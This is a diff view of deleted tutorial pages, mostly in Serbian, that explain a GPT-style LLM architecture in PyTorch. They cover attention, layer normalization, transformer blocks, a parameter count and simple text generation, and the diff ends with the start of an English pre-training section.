keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
torch.manual_seed(123)
batch_size, context_length, d_in = batch.shape
d_out = 2
mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2)
context_vecs = mha(batch)
print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
Za još jednu kompaktno i efikasnu implementaciju možete koristiti [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) klasu u PyTorch-u.
> [!TIP]
> Kratak odgovor ChatGPT-a o tome zašto je bolje podeliti dimenzije tokena među glavama umesto da svaka glava proverava sve dimenzije svih tokena:
>
> Iako bi omogućavanje svakoj glavi da obrađuje sve dimenzije ugrađivanja moglo izgledati korisno jer bi svaka glava imala pristup punim informacijama, standardna praksa je da se **podele dimenzije ugrađivanja među glavama**. Ovaj pristup balansira računarsku efikasnost sa performansama modela i podstiče svaku glavu da uči raznolike reprezentacije. Stoga je deljenje dimenzija ugrađivanja generalno poželjnije od toga da svaka glava proverava sve dimenzije.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,666 +0,0 @@
# 5. LLM Arhitektura
## LLM Arhitektura
> [!TIP]
> Cilj ove pete faze je vrlo jednostavan: **Razviti arhitekturu celog LLM-a**. Spojiti sve zajedno, primeniti sve slojeve i kreirati sve funkcije za generisanje teksta ili transformaciju teksta u ID-ove i obrnuto.
>
> Ova arhitektura će se koristiti za obuku i predikciju teksta nakon što je obučena.
Primer LLM arhitekture sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
Visok nivo reprezentacije može se posmatrati u:
<figure><img src="../../images/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **Ulaz (Tokenizovani Tekst)**: Proces počinje sa tokenizovanim tekstom, koji se konvertuje u numeričke reprezentacije.
2. **Sloj Token Embedding i Sloj Pozicionog Embedding-a**: Tokenizovani tekst prolazi kroz **token embedding** sloj i **sloj pozicionog embedding-a**, koji hvata poziciju tokena u sekvenci, što je ključno za razumevanje reda reči.
3. **Transformer Blokovi**: Model sadrži **12 transformer blokova**, svaki sa više slojeva. Ovi blokovi ponavljaju sledeću sekvencu:
- **Maskirana Multi-Head Pažnja**: Omogućava modelu da se fokusira na različite delove ulaznog teksta odjednom.
- **Normalizacija Slojeva**: Korak normalizacije za stabilizaciju i poboljšanje obuke.
- **Feed Forward Sloj**: Odgovoran za obradu informacija iz sloja pažnje i pravljenje predikcija o sledećem tokenu.
- **Dropout Slojevi**: Ovi slojevi sprečavaju prekomerno prilagođavanje tako što nasumično isključuju jedinice tokom obuke.
4. **Završni Izlazni Sloj**: Model izlazi sa **4x50,257-dimenzionalnim tenzorom**, gde **50,257** predstavlja veličinu rečnika. Svaki red u ovom tenzoru odgovara vektoru koji model koristi za predikciju sledeće reči u sekvenci.
5. **Cilj**: Cilj je uzeti ove embedding-e i konvertovati ih nazad u tekst. Konkretno, poslednji red izlaza se koristi za generisanje sledeće reči, predstavljene kao "napred" u ovoj dijagramu.
### Reprezentacija Koda
```python
import torch
import torch.nn as nn
import tiktoken
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
return self.layers(x)
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert d_out % num_heads == 0, "d_out must be divisible by num_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
def forward(self, x):
b, num_tokens, d_in = x.shape
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"])
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# Shortcut connection for attention block
shortcut = x
x = self.norm1(x)
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
# Shortcut connection for feed forward block
shortcut = x
x = self.norm2(x)
x = self.ff(x)
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
return x
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(
cfg["emb_dim"], cfg["vocab_size"], bias=False
)
def forward(self, in_idx):
batch_size, seq_len = in_idx.shape
tok_embeds = self.tok_emb(in_idx)
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
x = self.drop_emb(x)
x = self.trf_blocks(x)
x = self.final_norm(x)
logits = self.out_head(x)
return logits
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 1024, # Context length
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-Key-Value bias
}
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
out = model(batch)
print("Input batch:\n", batch)
print("\nOutput shape:", out.shape)
print(out)
```
### **GELU Aktivacijska Funkcija**
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
```
#### **Svrha i Funkcionalnost**
- **GELU (Gaussian Error Linear Unit):** Aktivacijska funkcija koja uvodi nelinearnost u model.
- **Gladka Aktivacija:** Za razliku od ReLU, koja poništava negativne ulaze, GELU glatko mapira ulaze na izlaze, omogućavajući male, nenulte vrednosti za negativne ulaze.
- **Matematička Definicija:**
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Cilj korišćenja ove funkcije nakon linearnih slojeva unutar FeedForward sloja je da se promeni linearni podaci u nelinearne kako bi model mogao da uči složene, nelinearne odnose.
### **FeedForward Neuronska Mreža**
_Oblici su dodati kao komentari kako bi se bolje razumele forme matrica:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
# x shape: (batch_size, seq_len, emb_dim)
x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Svrha i Funkcionalnost**
- **Mreža sa Prolazom po Pozicijama:** Primena dvoslojne potpuno povezane mreže na svaku poziciju odvojeno i identično.
- **Detalji Slojeva:**
- **Prvi Linearni Sloj:** Proširuje dimenzionalnost sa `emb_dim` na `4 * emb_dim`.
- **GELU Aktivacija:** Primena nelinearnosti.
- **Drugi Linearni Sloj:** Smanjuje dimenzionalnost nazad na `emb_dim`.
> [!NOTE]
> Kao što možete videti, mreža sa prolazom koristi 3 sloja. Prvi je linearni sloj koji će pomnožiti dimenzije sa 4 koristeći linearne težine (parametre za obučavanje unutar modela). Zatim, GELU funkcija se koristi u svim tim dimenzijama da primeni nelinearne varijacije kako bi uhvatila bogatije reprezentacije, a na kraju se koristi još jedan linearni sloj da se vrati na originalnu veličinu dimenzija.
### **Mehanizam Višestruke Glave Pažnje**
Ovo je već objašnjeno u ranijem odeljku.
#### **Svrha i Funkcionalnost**
- **Višestruka Samo-Pažnja:** Omogućava modelu da se fokusira na različite pozicije unutar ulazne sekvence prilikom kodiranja tokena.
- **Ključne Komponente:**
- **Upiti, Ključevi, Vrednosti:** Linearne projekcije ulaza, korišćene za izračunavanje ocena pažnje.
- **Glave:** Više mehanizama pažnje koji rade paralelno (`num_heads`), svaki sa smanjenom dimenzijom (`head_dim`).
- **Ocene Pažnje:** Izračunate kao skalarni proizvod upita i ključeva, skalirane i maskirane.
- **Maskiranje:** Primena uzročnog maskiranja kako bi se sprečilo da model obraća pažnju na buduće tokene (važan za autoregresivne modele poput GPT).
- **Težine Pažnje:** Softmax maskiranih i skaliranih ocena pažnje.
- **Vektor Konteksta:** Težinski zbir vrednosti, prema težinama pažnje.
- **Izlazna Projekcija:** Linearni sloj za kombinovanje izlaza svih glava.
> [!NOTE]
> Cilj ove mreže je da pronađe odnose između tokena u istom kontekstu. Štaviše, tokeni su podeljeni u različite glave kako bi se sprečilo prekomerno prilagođavanje, iako se konačni odnosi pronađeni po glavi kombinuju na kraju ove mreže.
>
> Takođe, tokom obuke se primenjuje **uzročno maskiranje** kako kasniji tokeni ne bi bili uzeti u obzir prilikom gledanja specifičnih odnosa sa tokenom, a takođe se primenjuje i **dropout** da se **spreči prekomerno prilagođavanje**.
### **Normalizacija** Sloja
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5 # Prevent division by zero during normalization.
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
```
#### **Svrha i Funkcionalnost**
- **Layer Normalization:** Tehnika koja se koristi za normalizaciju ulaza preko karakteristika (dimenzije ugradnje) za svaki pojedinačni primer u seriji.
- **Komponente:**
- **`eps`:** Mala konstanta (`1e-5`) koja se dodaje varijansi kako bi se sprečila deljenje sa nulom tokom normalizacije.
- **`scale` i `shift`:** Parametri koji se mogu učiti (`nn.Parameter`) koji omogućavaju modelu da skalira i pomera normalizovani izlaz. Inicijalizovani su na jedinice i nule, redom.
- **Proces Normalizacije:**
- **Izračunaj Srednju Vrednost (`mean`):** Izračunava srednju vrednost ulaza `x` preko dimenzije ugradnje (`dim=-1`), zadržavajući dimenziju za emitovanje (`keepdim=True`).
- **Izračunaj Varijansu (`var`):** Izračunava varijansu `x` preko dimenzije ugradnje, takođe zadržavajući dimenziju. Parametar `unbiased=False` osigurava da se varijansa izračunava koristeći pristrasni estimator (deljenje sa `N` umesto `N-1`), što je prikladno kada se normalizuje preko karakteristika umesto uzoraka.
- **Normalizuj (`norm_x`):** Oduzima srednju vrednost od `x` i deli sa kvadratnim korenom varijanse plus `eps`.
- **Skaliraj i Pomeri:** Primena parametara `scale` i `shift` koji se mogu učiti na normalizovani izlaz.
> [!NOTE]
> Cilj je osigurati srednju vrednost 0 sa varijansom 1 preko svih dimenzija istog tokena. Cilj ovoga je da **stabilizuje obuku dubokih neuronskih mreža** smanjenjem unutrašnjeg pomeranja kovarijate, što se odnosi na promenu u distribuciji aktivacija mreže zbog ažuriranja parametara tokom obuke.
### **Transformer Blok**
_Oblici su dodati kao komentari kako bi se bolje razumele dimenzije matrica:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"]
)
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# x shape: (batch_size, seq_len, emb_dim)
# Shortcut connection for attention block
shortcut = x # shape: (batch_size, seq_len, emb_dim)
x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
# Shortcut connection for feedforward block
shortcut = x # shape: (batch_size, seq_len, emb_dim)
x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Svrha i Funkcionalnost**
- **Sastav Slojeva:** Kombinuje multi-head attention, feedforward mrežu, normalizaciju slojeva i rezidualne veze.
- **Normalizacija Slojeva:** Primena pre slojeva pažnje i feedforward za stabilno obučavanje.
- **Rezidualne Veze (Prečice):** Dodaju ulaz sloja njegovom izlazu kako bi poboljšale protok gradijenta i omogućile obučavanje dubokih mreža.
- **Dropout:** Primena nakon slojeva pažnje i feedforward za regularizaciju.
#### **Funkcionalnost Korak po Korak**
1. **Prvi Rezidualni Put (Samo-Pažnja):**
- **Ulaz (`shortcut`):** Sačuvaj originalni ulaz za rezidualnu vezu.
- **Layer Norm (`norm1`):** Normalizuj ulaz.
- **Multi-Head Attention (`att`):** Primeni samo-pažnju.
- **Dropout (`drop_shortcut`):** Primeni dropout za regularizaciju.
- **Dodaj Rezidual (`x + shortcut`):** Kombinuj sa originalnim ulazom.
2. **Drugi Rezidualni Put (FeedForward):**
- **Ulaz (`shortcut`):** Sačuvaj ažurirani ulaz za sledeću rezidualnu vezu.
- **Layer Norm (`norm2`):** Normalizuj ulaz.
- **FeedForward Mreža (`ff`):** Primeni feedforward transformaciju.
- **Dropout (`drop_shortcut`):** Primeni dropout.
- **Dodaj Rezidual (`x + shortcut`):** Kombinuj sa ulazom iz prvog rezidualnog puta.
> [!NOTE]
> Transformer blok grupiše sve mreže zajedno i primenjuje neku **normalizaciju** i **dropout** kako bi poboljšao stabilnost obučavanja i rezultate.\
> Obratite pažnju kako se dropout primenjuje nakon korišćenja svake mreže dok se normalizacija primenjuje pre.
>
> Pored toga, koristi i prečice koje se sastoje od **dodavanja izlaza mreže sa njenim ulazom**. Ovo pomaže u sprečavanju problema nestajućeg gradijenta tako što osigurava da inicijalni slojevi doprinose "onoliko" koliko i poslednji.
### **GPTModel**
_Oblici su dodati kao komentari kako bi se bolje razumele dimenzije matrica:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
# shape: (vocab_size, emb_dim)
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
# shape: (context_length, emb_dim)
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
)
# Stack of TransformerBlocks
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
# shape: (emb_dim, vocab_size)
def forward(self, in_idx):
# in_idx shape: (batch_size, seq_len)
batch_size, seq_len = in_idx.shape
# Token embeddings
tok_embeds = self.tok_emb(in_idx)
# shape: (batch_size, seq_len, emb_dim)
# Positional embeddings
pos_indices = torch.arange(seq_len, device=in_idx.device)
# shape: (seq_len,)
pos_embeds = self.pos_emb(pos_indices)
# shape: (seq_len, emb_dim)
# Add token and positional embeddings
x = tok_embeds + pos_embeds # Broadcasting over batch dimension
# x shape: (batch_size, seq_len, emb_dim)
x = self.drop_emb(x) # Dropout applied
# x shape remains: (batch_size, seq_len, emb_dim)
x = self.trf_blocks(x) # Pass through Transformer blocks
# x shape remains: (batch_size, seq_len, emb_dim)
x = self.final_norm(x) # Final LayerNorm
# x shape remains: (batch_size, seq_len, emb_dim)
logits = self.out_head(x) # Project to vocabulary size
# logits shape: (batch_size, seq_len, vocab_size)
return logits # Output shape: (batch_size, seq_len, vocab_size)
```
#### **Svrha i Funkcionalnost**
- **Ugrađene Slojeve:**
- **Token Ugrađivanja (`tok_emb`):** Konvertuje indekse tokena u ugrađivanja. Kao podsetnik, ovo su težine date svakoj dimenziji svakog tokena u rečniku.
- **Pozicijska Ugrađivanja (`pos_emb`):** Dodaje pozicione informacije u ugrađivanja kako bi se uhvatio redosled tokena. Kao podsetnik, ovo su težine date tokenu prema njegovoj poziciji u tekstu.
- **Dropout (`drop_emb`):** Primena na ugrađivanja za regularizaciju.
- **Transformer Blokovi (`trf_blocks`):** Stek od `n_layers` transformer blokova za obradu ugrađivanja.
- **Finalna Normalizacija (`final_norm`):** Normalizacija sloja pre izlaznog sloja.
- **Izlazni Sloj (`out_head`):** Projektuje konačne skrivene stanja na veličinu rečnika kako bi proizveo logite za predikciju.
> [!NOTE]
> Cilj ove klase je da koristi sve ostale pomenute mreže da **predvidi sledeći token u sekvenci**, što je fundamentalno za zadatke poput generisanja teksta.
>
> Obratite pažnju kako će **koristiti onoliko transformer blokova koliko je naznačeno** i da svaki transformer blok koristi jednu mrežu sa višestrukim glavama, jednu mrežu za unapređenje i nekoliko normalizacija. Dakle, ako se koristi 12 transformer blokova, pomnožite ovo sa 12.
>
> Štaviše, **normalizacija** sloj se dodaje **pre** **izlaza** i konačni linearni sloj se primenjuje na kraju kako bi se dobili rezultati sa odgovarajućim dimenzijama. Obratite pažnju kako svaki konačni vektor ima veličinu korišćenog rečnika. To je zato što pokušava da dobije verovatnoću po mogućem tokenu unutar rečnika.
## Broj Parametara za obuku
Imajući definisanu GPT strukturu, moguće je saznati broj parametara za obuku:
```python
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 1024, # Context length
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-Key-Value bias
}
model = GPTModel(GPT_CONFIG_124M)
total_params = sum(p.numel() for p in model.parameters())
print(f"Total number of parameters: {total_params:,}")
# Total number of parameters: 163,009,536
```
### **Korak-po-korak Proračun**
#### **1. Ugradne Slojeve: Ugradnja Tokena i Ugradnja Pozicije**
- **Sloj:** `nn.Embedding(vocab_size, emb_dim)`
- **Parametri:** `vocab_size * emb_dim`
```python
token_embedding_params = 50257 * 768 = 38,597,376
```
- **Sloj:** `nn.Embedding(context_length, emb_dim)`
- **Parametri:** `context_length * emb_dim`
```python
position_embedding_params = 1024 * 768 = 786,432
```
**Ukupni parametri ugrađivanja**
```python
embedding_params = token_embedding_params + position_embedding_params
embedding_params = 38,597,376 + 786,432 = 39,383,808
```
#### **2. Transformer Blokovi**
Postoji 12 transformer blokova, pa ćemo izračunati parametre za jedan blok, a zatim pomnožiti sa 12.
**Parametri po Transformer Bloku**
**a. Multi-Head Attention**
- **Komponente:**
- **Query Linear Layer (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Key Linear Layer (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Value Linear Layer (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Output Projection (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
- **Izračunavanja:**
- **Svaki od `W_query`, `W_key`, `W_value`:**
```python
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
```
Pošto postoje tri takva sloja:
```python
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
```
- **Output Projection (`out_proj`):**
```python
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
```
- **Ukupni Multi-Head Attention Parametri:**
```python
mha_params = total_qkv_params + out_proj_params
mha_params = 1,769,472 + 590,592 = 2,360,064
```
**b. FeedForward Mreža**
- **Komponente:**
- **Prvi Linear Layer:** `nn.Linear(emb_dim, 4 * emb_dim)`
- **Drugi Linear Layer:** `nn.Linear(4 * emb_dim, emb_dim)`
- **Izračunavanja:**
- **Prvi Linear Layer:**
```python
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
```
- **Drugi Linear Layer:**
```python
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
```
- **Ukupni FeedForward Parametri:**
```python
ff_params = ff_first_layer_params + ff_second_layer_params
ff_params = 2,362,368 + 2,360,064 = 4,722,432
```
**c. Normalizacije Slojeva**
- **Komponente:**
- Dva `LayerNorm` instance po bloku.
- Svaki `LayerNorm` ima `2 * emb_dim` parametara (skala i pomeraj).
- **Izračunavanja:**
```python
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**d. Ukupni Parametri po Transformer Bloku**
```python
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
```
**Ukupni parametri za sve Transformer blokove**
```python
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
```
#### **3. Završni slojevi**
**a. Normalizacija završnog sloja**
- **Parametri:** `2 * emb_dim` (skala i pomeranje)
```python
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```
**b. Sloj projekcije izlaza (`out_head`)**
- **Sloj:** `nn.Linear(emb_dim, vocab_size, bias=False)`
- **Parametri:** `emb_dim * vocab_size`
```python
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
```
#### **4. Sumiranje svih parametara**
```python
pythonCopy codetotal_params = (
embedding_params +
total_transformer_blocks_params +
final_layer_norm_params +
output_projection_params
)
total_params = (
39,383,808 +
85,026,816 +
1,536 +
38,597,376
)
total_params = 163,009,536
```
## Generiši tekst
Imajući model koji predviđa sledeći token kao prethodni, potrebno je samo uzeti poslednje vrednosti tokena iz izlaza (jer će to biti vrednosti predviđenog tokena), što će biti **vrednost po unosu u rečniku** i zatim koristiti `softmax` funkciju da normalizuje dimenzije u verovatnoće koje se sabiraju na 1 i zatim dobiti indeks najvećeg unosa, koji će biti indeks reči unutar rečnika.
Kod sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
```python
def generate_text_simple(model, idx, max_new_tokens, context_size):
# idx is (batch, n_tokens) array of indices in the current context
for _ in range(max_new_tokens):
# Crop current context if it exceeds the supported context size
# E.g., if LLM supports only 5 tokens, and the context size is 10
# then only the last 5 tokens are used as context
idx_cond = idx[:, -context_size:]
# Get the predictions
with torch.no_grad():
logits = model(idx_cond)
# Focus only on the last time step
# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
logits = logits[:, -1, :]
# Apply softmax to get probabilities
probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
# Get the idx of the vocab entry with the highest probability value
idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
# Append sampled index to the running sequence
idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
return idx
start_context = "Hello, I am"
encoded = tokenizer.encode(start_context)
print("encoded:", encoded)
encoded_tensor = torch.tensor(encoded).unsqueeze(0)
print("encoded_tensor.shape:", encoded_tensor.shape)
model.eval() # disable dropout
out = generate_text_simple(
model=model,
idx=encoded_tensor,
max_new_tokens=6,
context_size=GPT_CONFIG_124M["context_length"]
)
print("Output:", out)
print("Output length:", len(out[0]))
```
## Reference
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,970 +0,0 @@
# 6. Pre-training & Loading models
## Text Generation
In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**.
As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose.
> [!TIP]
> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model.
## Text Evaluation
In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens.
In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**.
